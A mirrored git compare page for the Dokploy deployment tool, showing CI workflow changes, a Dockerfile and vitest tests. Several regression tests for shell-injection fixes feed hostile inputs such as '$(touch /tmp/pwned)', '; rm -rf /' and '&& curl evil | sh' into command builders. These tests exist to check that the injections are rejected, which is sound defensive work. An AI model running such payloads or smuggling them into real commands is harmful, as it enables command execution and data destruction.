mirror of
https://github.com/Dokploy/dokploy.git
synced 2026-10-15 21:31:11 +00:00
Compare commits
229 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| a7adc3c36b | |||
| f838c07348 | |||
| 2b225a1e4f | |||
| 00d9603209 | |||
| cf22a0e058 | |||
| c05e6d5a6b | |||
| 286938bbbb | |||
| 79b5ff96ca | |||
| 604d9b1004 | |||
| f9057d9304 | |||
| ce0fe63b4a | |||
| 218687f46d | |||
| 2d7caceeed | |||
| fada032f72 | |||
| be9c8260c6 | |||
| 8ac0e52656 | |||
| 9747e832ac | |||
| ce717a3de6 | |||
| f6622428f7 | |||
| b8822a1fde | |||
| ae2edc79bf | |||
| dced7970ac | |||
| 771d76a57c | |||
| d0eb6ef1ca | |||
| 8637acb56c | |||
| 4791863ff9 | |||
| f633d4b0a3 | |||
| b7db28408d | |||
| 1f73ebd0b0 | |||
| ef0272a4ec | |||
| bd7fb8f23c | |||
| e801b6cda0 | |||
| 05ab210acd | |||
| bc935ae3ad | |||
| 4b90eb0d90 | |||
| b20348908f | |||
| f08c53c9b7 | |||
| c0694eb5b2 | |||
| c05511db33 | |||
| be71866c96 | |||
| 5c862f7ef4 | |||
| 1de7b515ab | |||
| 91258d00ad | |||
| 65d2853b9e | |||
| f3c7edcfd6 | |||
| fe0a84dde8 | |||
| 6a10923a50 | |||
| bcab5b059f | |||
| a8c35f7501 | |||
| 9f69f6cbf9 | |||
| b3e7a8a74c | |||
| 309dd567d6 | |||
| 340687574a | |||
| dd04312470 | |||
| 27377da6fa | |||
| 3e306e5dba | |||
| d8bb3f406c | |||
| ac57e22b87 | |||
| 94098b2686 | |||
| ff9fa7418f | |||
| 53feb9dd5b | |||
| b6190ff314 | |||
| abe774650f | |||
| 1f04ebf3cd | |||
| 472ebed06c | |||
| 4ce24dfdd3 | |||
| 06b67d4519 | |||
| 5dd2b5beec | |||
| 35af10ca07 | |||
| 75448f358e | |||
| 4e675d6f3f | |||
| 57fae73853 | |||
| dd542994a4 | |||
| bcf97f92ab | |||
| e19d7bbf0e | |||
| 3e4ed0c299 | |||
| 112b2c8358 | |||
| b7fdbd4704 | |||
| 13b897c01d | |||
| 83008205b9 | |||
| 0f0102ff2d | |||
| cbe78950cc | |||
| 49ee74c89d | |||
| e88d13f67b | |||
| 2f89981597 | |||
| c7a96ed82c | |||
| d4e087e128 | |||
| 7f41b098f9 | |||
| 43229c89da | |||
| c6607f3a19 | |||
| 6e84f39a9f | |||
| b024c9c2fd | |||
| 982f4d70f7 | |||
| ba24ae6797 | |||
| 2f8af90da4 | |||
| 3f98208f03 | |||
| 5d231bf3e3 | |||
| 0124613516 | |||
| 3495fc89bf | |||
| 5ae289cae3 | |||
| 3638c7b35b | |||
| 2505c347bc | |||
| a0162ab566 | |||
| 314a31dc27 | |||
| 108541c957 | |||
| 14be318502 | |||
| d6c2e38cb0 | |||
| ff39cb51e6 | |||
| 46c87a22b0 | |||
| 1776e6ad4f | |||
| 9f1ba37e13 | |||
| 60112d84a5 | |||
| 89c0e9ef67 | |||
| 8583b3c1a5 | |||
| 69a5615544 | |||
| a1230098c9 | |||
| eacb1440e0 | |||
| 7e38861985 | |||
| 056b6983db | |||
| f6b0700ea5 | |||
| 4325605578 | |||
| 5d11a045cc | |||
| d92de5a4a0 | |||
| 81051ca965 | |||
| 7b0bcee652 | |||
| 11e93dde38 | |||
| cbb3450b93 | |||
| a058d1f5c7 | |||
| 3835a6fe68 | |||
| 325c2a4180 | |||
| 51cb7d2287 | |||
| 081cf3fb80 | |||
| 2be9e1e3df | |||
| 3b0bdd8f74 | |||
| 6e79270423 | |||
| 9999f0a18e | |||
| 268ec1f397 | |||
| 018e56a7b4 | |||
| 1cf81e3802 | |||
| bb73c6e6dd | |||
| 15bc4b5dc5 | |||
| 30e8d9b86e | |||
| 5df820a740 | |||
| ba5af51347 | |||
| 6e1d020769 | |||
| deebf0f107 | |||
| 7047e4f199 | |||
| 069939e8f9 | |||
| b7e5fadf53 | |||
| 260af232e7 | |||
| 425d478a0b | |||
| 268fd7d771 | |||
| 4ba7972ffa | |||
| 2739690758 | |||
| d768adb6ad | |||
| 24d0cff060 | |||
| 29fcc74ca5 | |||
| 8f0702c4da | |||
| ec74035c70 | |||
| aee15efac7 | |||
| 97885ee44a | |||
| 73e4fdd757 | |||
| 0fc75840d2 | |||
| 79c127b03b | |||
| f2148040a3 | |||
| 8a37626636 | |||
| adcbd6fd8e | |||
| c578c18500 | |||
| 94ddbf8ba5 | |||
| 61c2b73f08 | |||
| 736a77e112 | |||
| f4bcc2e8a8 | |||
| 99e483c1a1 | |||
| 22c8a1658a | |||
| f0f0db4c7f | |||
| a49615038f | |||
| 8b868c66d6 | |||
| 366e44b75a | |||
| cb2db0d30a | |||
| 7ba3853bab | |||
| 8def9e933e | |||
| e9b51667e2 | |||
| 25370cac30 | |||
| 52c7db1f66 | |||
| 6d65a36aac | |||
| cbec72ed80 | |||
| 3b102fac56 | |||
| b2ade17487 | |||
| ffe62bca0e | |||
| d3f522b7a6 | |||
| 4aee66b2d1 | |||
| d02f34f9d4 | |||
| 35c30a1210 | |||
| a83b2026f6 | |||
| 15fe3b21c9 | |||
| 7ca96f6087 | |||
| c9817da45b | |||
| faf600bd88 | |||
| 012d9596b2 | |||
| a376b00a71 | |||
| e19dd43293 | |||
| 92c5879438 | |||
| a94f8b96d3 | |||
| ae95485b74 | |||
| 1ca03d3dc2 | |||
| 2df02f596a | |||
| 1da4db2905 | |||
| b3feeed3e4 | |||
| 86ea311714 | |||
| dc2fc40c38 | |||
| 7da96810a8 | |||
| b90279c26a | |||
| 689ae51ee7 | |||
| 9be96d4195 | |||
| 5f508163e5 | |||
| fc75b847b5 | |||
| b1abcb9e06 | |||
| f21931da60 | |||
| e802342f57 | |||
| 3e11897762 | |||
| eb80f79862 | |||
| 43f9f545c6 | |||
| d542972522 | |||
| e7c38d4c54 | |||
| a8f941b5d9 | |||
| c68fac55fd | |||
| efcad7bbf5 | |||
| a0566cdbd7 | |||
| 69598821ed |
+5
-1
@@ -2,4 +2,8 @@ node_modules
|
||||
.git
|
||||
.gitignore
|
||||
*.md
|
||||
dist
|
||||
dist
|
||||
**/.next
|
||||
**/dist
|
||||
**/dist-server
|
||||
**/.env
|
||||
@@ -140,6 +140,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
version: ${{ steps.get_version.outputs.version }}
|
||||
npm_version: ${{ steps.get_version.outputs.npm_version }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
@@ -151,6 +152,7 @@ jobs:
|
||||
run: |
|
||||
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
|
||||
echo "version=$VERSION" >> $GITHUB_OUTPUT
|
||||
echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Fetch install.sh
|
||||
run: |
|
||||
@@ -164,6 +166,7 @@ jobs:
|
||||
uses: softprops/action-gh-release@v2
|
||||
with:
|
||||
tag_name: ${{ steps.get_version.outputs.version }}
|
||||
target_commitish: ${{ github.sha }}
|
||||
name: ${{ steps.get_version.outputs.version }}
|
||||
generate_release_notes: true
|
||||
draft: false
|
||||
@@ -180,71 +183,82 @@ jobs:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- uses: pnpm/action-setup@v4
|
||||
with:
|
||||
version: 10.22.0
|
||||
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: 24.4.0
|
||||
cache: pnpm
|
||||
|
||||
- name: Generate OpenAPI specification
|
||||
run: |
|
||||
pnpm install --frozen-lockfile
|
||||
pnpm generate:openapi
|
||||
|
||||
- name: Sync version to MCP repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
|
||||
cd /tmp/mcp-repo
|
||||
|
||||
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
|
||||
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
|
||||
mv package.json.tmp package.json
|
||||
|
||||
npm install -g pnpm
|
||||
cp ${{ github.workspace }}/openapi.json src/generated/openapi.json
|
||||
pnpm install
|
||||
pnpm run fetch-openapi
|
||||
pnpm run generate
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
git add -A
|
||||
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
|
||||
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
|
||||
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
|
||||
--allow-empty
|
||||
git push
|
||||
|
||||
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}"
|
||||
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
|
||||
|
||||
- name: Sync version to CLI repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
|
||||
cd /tmp/cli-repo
|
||||
|
||||
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
|
||||
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
|
||||
mv package.json.tmp package.json
|
||||
|
||||
cp ${{ github.workspace }}/openapi.json ./openapi.json
|
||||
npm install -g pnpm
|
||||
pnpm install
|
||||
pnpm run generate
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
git add -A
|
||||
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
|
||||
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
|
||||
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
|
||||
--allow-empty
|
||||
git push
|
||||
|
||||
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}"
|
||||
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
|
||||
|
||||
- name: Sync version to SDK repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
|
||||
cd /tmp/sdk-repo
|
||||
|
||||
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
|
||||
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
|
||||
mv package.json.tmp package.json
|
||||
|
||||
cp ${{ github.workspace }}/openapi.json ./openapi.json
|
||||
npm install -g pnpm
|
||||
pnpm install
|
||||
pnpm run generate
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
git add -A
|
||||
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
|
||||
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
|
||||
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
|
||||
--allow-empty
|
||||
git push
|
||||
|
||||
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}"
|
||||
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
name: Hotfix Cherry-Pick
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
types: [closed, labeled]
|
||||
|
||||
concurrency:
|
||||
group: hotfix-to-main
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
cherry-pick:
|
||||
if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
steps:
|
||||
- name: Checkout main
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
ref: main
|
||||
fetch-depth: 0
|
||||
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
|
||||
|
||||
- name: Cherry-pick fix to main
|
||||
run: |
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
SHA="${{ github.event.pull_request.merge_commit_sha }}"
|
||||
if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
|
||||
git cherry-pick -x -m 1 "$SHA"
|
||||
else
|
||||
git cherry-pick -x "$SHA"
|
||||
fi
|
||||
git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
|
||||
git push origin main
|
||||
@@ -0,0 +1,28 @@
|
||||
name: Hotfix Release
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: hotfix-to-main
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
release:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout main
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
ref: main
|
||||
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
|
||||
|
||||
- name: Bump patch version and push
|
||||
run: |
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
|
||||
NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
|
||||
sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
|
||||
git commit -am "chore: release ${NEW}"
|
||||
git push origin main
|
||||
+8
-1
@@ -43,4 +43,11 @@ yarn-error.log*
|
||||
*.pem
|
||||
|
||||
|
||||
.db
|
||||
.db
|
||||
|
||||
.playwright-*
|
||||
.credentials
|
||||
dist/
|
||||
dist-server/
|
||||
.tanstack
|
||||
.env.*
|
||||
@@ -0,0 +1,54 @@
|
||||
# syntax=docker/dockerfile:1
|
||||
FROM node:24.4.0-slim AS base
|
||||
ENV PNPM_HOME="/pnpm"
|
||||
ENV PATH="$PNPM_HOME:$PATH"
|
||||
RUN corepack enable
|
||||
RUN corepack prepare pnpm@10.22.0 --activate
|
||||
|
||||
FROM base AS build
|
||||
COPY . /usr/src/app
|
||||
WORKDIR /usr/src/app
|
||||
|
||||
RUN apt-get update && apt-get install -y python3 make g++ git pkg-config libsecret-1-dev && rm -rf /var/lib/apt/lists/*
|
||||
|
||||
RUN --mount=type=cache,id=pnpm,target=/pnpm/store pnpm install --no-frozen-lockfile
|
||||
|
||||
ENV NODE_ENV=production
|
||||
RUN pnpm --filter=dokploy-vite build
|
||||
RUN pnpm --filter=dokploy-vite build:server
|
||||
|
||||
RUN pnpm --filter=dokploy-vite --prod deploy --legacy /prod/vite
|
||||
|
||||
# Drop auto-installed optional peers that are never used at runtime
|
||||
# (better-auth peers next/prisma adapters; drizzle peers pglite/sqlite; prisma pulls effect/sharp)
|
||||
RUN cd /prod/vite/node_modules && rm -rf \
|
||||
.pnpm/next@* .pnpm/@next+swc* \
|
||||
.pnpm/prisma@* .pnpm/@prisma+* \
|
||||
.pnpm/effect@* .pnpm/@electric-sql+* \
|
||||
.pnpm/better-sqlite3@* \
|
||||
.pnpm/sharp@* .pnpm/@img+* \
|
||||
.pnpm/typescript@* \
|
||||
next prisma typescript better-sqlite3 sharp
|
||||
|
||||
FROM base AS runtime
|
||||
WORKDIR /app
|
||||
ENV NODE_ENV=production
|
||||
|
||||
RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# For a full production replacement of the official image, add the same
|
||||
# tooling block as ./Dockerfile (docker cli, nixpacks, railpack, pack, rclone)
|
||||
# — required for builds/deployments, not for serving the panel.
|
||||
|
||||
COPY --from=build /prod/vite/node_modules ./node_modules
|
||||
COPY --from=build /prod/vite/package.json ./package.json
|
||||
COPY --from=build /usr/src/app/apps/vite/dist ./dist
|
||||
COPY --from=build /usr/src/app/apps/vite/dist-server ./dist-server
|
||||
COPY --from=build /usr/src/app/apps/dokploy/drizzle ./drizzle
|
||||
|
||||
EXPOSE 3000
|
||||
|
||||
HEALTHCHECK --interval=30s --timeout=5s --start-period=30s --retries=5 \
|
||||
CMD curl -fs http://localhost:3000/api/health || exit 1
|
||||
|
||||
CMD ["sh", "-c", "node dist-server/wait-for-postgres.mjs && node dist-server/migration.mjs && exec node dist-server/server.mjs"]
|
||||
@@ -0,0 +1,57 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import {
|
||||
getRestoreCommand,
|
||||
stripDatabaseSwitchCommand,
|
||||
} from "@dokploy/server/utils/restore/utils";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const filter = (input: string) =>
|
||||
execSync(stripDatabaseSwitchCommand, {
|
||||
input,
|
||||
shell: "/bin/bash",
|
||||
}).toString();
|
||||
|
||||
describe("restore drops database-switch statements (mysql/mariadb)", () => {
|
||||
const dump = [
|
||||
"-- MariaDB dump",
|
||||
"CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;",
|
||||
"USE `production_db`;",
|
||||
"use production_db;",
|
||||
"DROP TABLE IF EXISTS `users`;",
|
||||
"CREATE TABLE `users` (`id` int NOT NULL);",
|
||||
"INSERT INTO `users` VALUES (1),(2);",
|
||||
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
|
||||
].join("\n");
|
||||
|
||||
it("removes USE and CREATE DATABASE lines but keeps everything else", () => {
|
||||
const result = filter(dump);
|
||||
expect(result).not.toContain("USE `production_db`");
|
||||
expect(result).not.toContain("use production_db");
|
||||
expect(result).not.toContain("CREATE DATABASE /*!32312");
|
||||
expect(result).toContain("DROP TABLE IF EXISTS `users`;");
|
||||
expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);");
|
||||
expect(result).toContain("INSERT INTO `users` VALUES (1),(2);");
|
||||
expect(result).toContain(
|
||||
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
|
||||
);
|
||||
});
|
||||
|
||||
it("is wired into mysql and mariadb restore pipelines only", () => {
|
||||
const base = {
|
||||
appName: "my-app",
|
||||
restoreType: "database" as const,
|
||||
credentials: {
|
||||
database: "dev_db",
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
},
|
||||
rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip",
|
||||
};
|
||||
for (const type of ["mysql", "mariadb"] as const) {
|
||||
const cmd = getRestoreCommand({ ...base, type });
|
||||
expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`);
|
||||
}
|
||||
const pgCmd = getRestoreCommand({ ...base, type: "postgres" });
|
||||
expect(pgCmd).not.toContain(stripDatabaseSwitchCommand);
|
||||
});
|
||||
});
|
||||
@@ -28,7 +28,7 @@ const runsSafely = (command: string) => {
|
||||
|
||||
const PAYLOADS = [
|
||||
`$(touch ${MARK})`,
|
||||
"`touch " + MARK + "`",
|
||||
`\`touch ${MARK}\``,
|
||||
`x; touch ${MARK}`,
|
||||
`x | touch ${MARK}`,
|
||||
];
|
||||
@@ -101,4 +101,69 @@ describe("compose createCommand injection", () => {
|
||||
"deploy/docker-compose.prod.yml",
|
||||
);
|
||||
});
|
||||
|
||||
it("allows chained docker compose commands with '&&'", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
command:
|
||||
"compose pull && docker compose down && docker compose up -d --build",
|
||||
} as any);
|
||||
expect(cmd).toBe(
|
||||
"compose pull && docker compose down && docker compose up -d --build",
|
||||
);
|
||||
});
|
||||
|
||||
it("allows chaining with the legacy 'docker-compose' spelling", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
command: "compose pull && docker-compose down",
|
||||
} as any);
|
||||
expect(cmd).toBe("compose pull && docker-compose down");
|
||||
});
|
||||
|
||||
it("rejects a single '&' used for backgrounding", () => {
|
||||
expect(() =>
|
||||
createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
|
||||
).toThrow(/Single '&' is not allowed/);
|
||||
});
|
||||
|
||||
it("rejects a malformed '&&&' chain", () => {
|
||||
expect(() =>
|
||||
createCommand({
|
||||
...base,
|
||||
command: "compose pull &&& docker compose up -d",
|
||||
} as any),
|
||||
).toThrow(/Single '&' is not allowed/);
|
||||
});
|
||||
|
||||
it("rejects chained segments that are not docker compose invocations", () => {
|
||||
expect(() =>
|
||||
createCommand({
|
||||
...base,
|
||||
command: "compose pull && rm -rf /",
|
||||
} as any),
|
||||
).toThrow(/must strictly start with 'docker compose '/);
|
||||
});
|
||||
|
||||
it("rejects an attempted injection smuggled inside a chained segment", () => {
|
||||
for (const bad of [
|
||||
"compose pull && docker compose up -d; touch /tmp/pwn",
|
||||
"compose pull && docker compose up -d $(touch /tmp/pwn)",
|
||||
"compose pull && docker compose up -d `touch /tmp/pwn`",
|
||||
"compose pull && docker compose up -d | touch /tmp/pwn",
|
||||
]) {
|
||||
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
|
||||
/Invalid characters/,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a chain that only pretends to start with docker compose later in the string", () => {
|
||||
expect(() =>
|
||||
createCommand({
|
||||
...base,
|
||||
command: "compose pull && curl evil.sh | docker compose up -d",
|
||||
} as any),
|
||||
).toThrow(/Invalid characters/);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
import { parse } from "shell-quote";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
|
||||
// "exists" but does not contain the attacker's service, forcing the error path
|
||||
// whose message embeds the user-controlled serviceName.
|
||||
vi.mock("node:fs", async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import("node:fs")>();
|
||||
return {
|
||||
...actual,
|
||||
existsSync: () => true,
|
||||
readFileSync: () => "services:\n web:\n image: nginx\n",
|
||||
};
|
||||
});
|
||||
|
||||
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
|
||||
|
||||
const baseCompose = {
|
||||
appName: "my-app",
|
||||
serverId: null,
|
||||
composeType: "docker-compose",
|
||||
sourceType: "raw",
|
||||
composePath: "docker-compose.yml",
|
||||
isolatedDeployment: false,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
} as any;
|
||||
|
||||
const makeDomain = (serviceName: string) =>
|
||||
({
|
||||
host: "example.com",
|
||||
serviceName,
|
||||
https: false,
|
||||
uniqueConfigKey: 1,
|
||||
port: 3000,
|
||||
}) as any;
|
||||
|
||||
// If the returned shell fragment is safe, parse() yields only string tokens.
|
||||
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
|
||||
const leaksShellSyntax = (command: string, marker: string) =>
|
||||
parse(command).some(
|
||||
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
|
||||
);
|
||||
|
||||
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
|
||||
it("does not let a malicious serviceName inject shell operators", async () => {
|
||||
const result = await writeDomainsToCompose(baseCompose, [
|
||||
makeDomain("$(touch /tmp/pwned)"),
|
||||
]);
|
||||
|
||||
// The service does not exist in the compose, so we hit the error branch.
|
||||
expect(result).toContain("Has occurred an error");
|
||||
// The payload text may appear inside the single-quoted echo argument, but
|
||||
// it must never parse as a shell operator ($(), backtick, ; …).
|
||||
expect(leaksShellSyntax(result, "touch")).toBe(false);
|
||||
});
|
||||
|
||||
it("neutralizes backtick and semicolon payloads too", async () => {
|
||||
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
|
||||
const result = await writeDomainsToCompose(baseCompose, [
|
||||
makeDomain(`svc${payload}`),
|
||||
]);
|
||||
expect(leaksShellSyntax(result, "rm")).toBe(false);
|
||||
expect(leaksShellSyntax(result, "curl")).toBe(false);
|
||||
expect(leaksShellSyntax(result, "id")).toBe(false);
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,96 @@
|
||||
import { execFileSync } from "node:child_process";
|
||||
import { mkdirSync, rmSync, writeFileSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
|
||||
// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
|
||||
// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
|
||||
const appName = `env-file-literals-${process.pid}`;
|
||||
const projectPath = join(process.cwd(), ".docker", "compose", appName);
|
||||
const codePath = join(projectPath, "code");
|
||||
|
||||
afterEach(() => {
|
||||
try {
|
||||
execFileSync("docker", ["compose", "down", "--remove-orphans"], {
|
||||
cwd: codePath,
|
||||
stdio: "ignore",
|
||||
});
|
||||
} catch {
|
||||
// Project may not have been created (e.g. an earlier assertion failed).
|
||||
}
|
||||
rmSync(projectPath, { force: true, recursive: true });
|
||||
});
|
||||
|
||||
const cases: Record<string, string> = {
|
||||
PASSWORD: "pa$$word",
|
||||
SPECIAL: '!"#$%&/()=?',
|
||||
NESTED_JSON: '{"nested":{"a":1}}',
|
||||
MAIL_PASSWORD: "abc#de",
|
||||
TRAILING_BACKSLASH: "trailing\\",
|
||||
QUOTE_INSIDE: 'she said "hi"',
|
||||
APOSTROPHE: "it's a test",
|
||||
UNICODE: "héllo wörld 日本語 🚀",
|
||||
MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
|
||||
};
|
||||
|
||||
// How each value must be typed in the UI so the (unchanged) dotenv input
|
||||
// parser resolves it to the raw string in `cases` above.
|
||||
const inputEncoding: Record<string, string> = {
|
||||
PASSWORD: "pa$$word",
|
||||
SPECIAL: `'!"#$%&/()=?'`,
|
||||
NESTED_JSON: '{"nested":{"a":1}}',
|
||||
MAIL_PASSWORD: `"abc#de"`,
|
||||
TRAILING_BACKSLASH: "trailing\\",
|
||||
QUOTE_INSIDE: 'she said "hi"',
|
||||
APOSTROPHE: "it's a test",
|
||||
UNICODE: "héllo wörld 日本語 🚀",
|
||||
MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
|
||||
};
|
||||
|
||||
describe("getCreateEnvFileCommand", () => {
|
||||
it("writes special environment values that Docker Compose reads back literally", () => {
|
||||
mkdirSync(codePath, { recursive: true });
|
||||
|
||||
const serviceEnv = Object.entries(inputEncoding)
|
||||
.map(([key, value]) => `${key}=${value}`)
|
||||
.join("\n");
|
||||
|
||||
const command = getCreateEnvFileCommand({
|
||||
appName,
|
||||
composePath: "docker-compose.yml",
|
||||
env: serviceEnv,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
serverId: null,
|
||||
environment: { project: { env: "" }, env: "" },
|
||||
} as Parameters<typeof getCreateEnvFileCommand>[0]);
|
||||
|
||||
execFileSync("bash", ["-c", command]);
|
||||
|
||||
const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys(
|
||||
cases,
|
||||
)
|
||||
.map((key) => ` - ${key}=\${${key}}`)
|
||||
.join("\n")}\n`;
|
||||
writeFileSync(join(codePath, "docker-compose.yml"), composeFile);
|
||||
|
||||
const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;
|
||||
|
||||
const out = execFileSync(
|
||||
"docker",
|
||||
["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
|
||||
{ cwd: codePath, encoding: "utf8" },
|
||||
);
|
||||
|
||||
const parts = out.split("\0");
|
||||
const actual: Record<string, string> = {};
|
||||
for (let i = 0; i < parts.length - 1; i += 2) {
|
||||
actual[parts[i] as string] = parts[i + 1] as string;
|
||||
}
|
||||
|
||||
for (const [key, value] of Object.entries(cases)) {
|
||||
expect(actual[key], key).toBe(value);
|
||||
}
|
||||
}, 60000);
|
||||
});
|
||||
@@ -0,0 +1,45 @@
|
||||
import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
// Compose now has a `createEnvFile` toggle (default true), mirroring the
|
||||
// Application builder's flag: when disabled, Dokploy never writes `.env`,
|
||||
// so a repo-tracked file survives untouched.
|
||||
vi.mock("@dokploy/server/utils/docker/domain", () => ({
|
||||
writeDomainsToCompose: vi.fn().mockResolvedValue(""),
|
||||
}));
|
||||
|
||||
const baseCompose = {
|
||||
appName: "env-file-toggle",
|
||||
sourceType: "raw",
|
||||
command: "",
|
||||
composePath: "docker-compose.yml",
|
||||
composeType: "docker-compose",
|
||||
isolatedDeployment: false,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
serverId: null,
|
||||
env: "FOO=bar",
|
||||
mounts: [],
|
||||
domains: [],
|
||||
environment: { project: { env: "" }, env: "" },
|
||||
} as unknown as Parameters<typeof getBuildComposeCommand>[0];
|
||||
|
||||
describe("getBuildComposeCommand createEnvFile toggle", () => {
|
||||
it("createEnvFile: false never writes the .env file", async () => {
|
||||
const command = await getBuildComposeCommand({
|
||||
...baseCompose,
|
||||
createEnvFile: false,
|
||||
});
|
||||
|
||||
expect(command).not.toContain("base64 -d >");
|
||||
});
|
||||
|
||||
it("createEnvFile: true (default) writes Dokploy's vars", async () => {
|
||||
const command = await getBuildComposeCommand({
|
||||
...baseCompose,
|
||||
createEnvFile: true,
|
||||
});
|
||||
|
||||
expect(command).toContain("base64 -d >");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,199 @@
|
||||
import type { Compose, ComposeSpecification } from "@dokploy/server";
|
||||
import {
|
||||
applyServiceNetworks,
|
||||
declareUsedNetworksInRoot,
|
||||
resolveServiceNetworks,
|
||||
} from "@dokploy/server";
|
||||
import { db } from "@dokploy/server/db";
|
||||
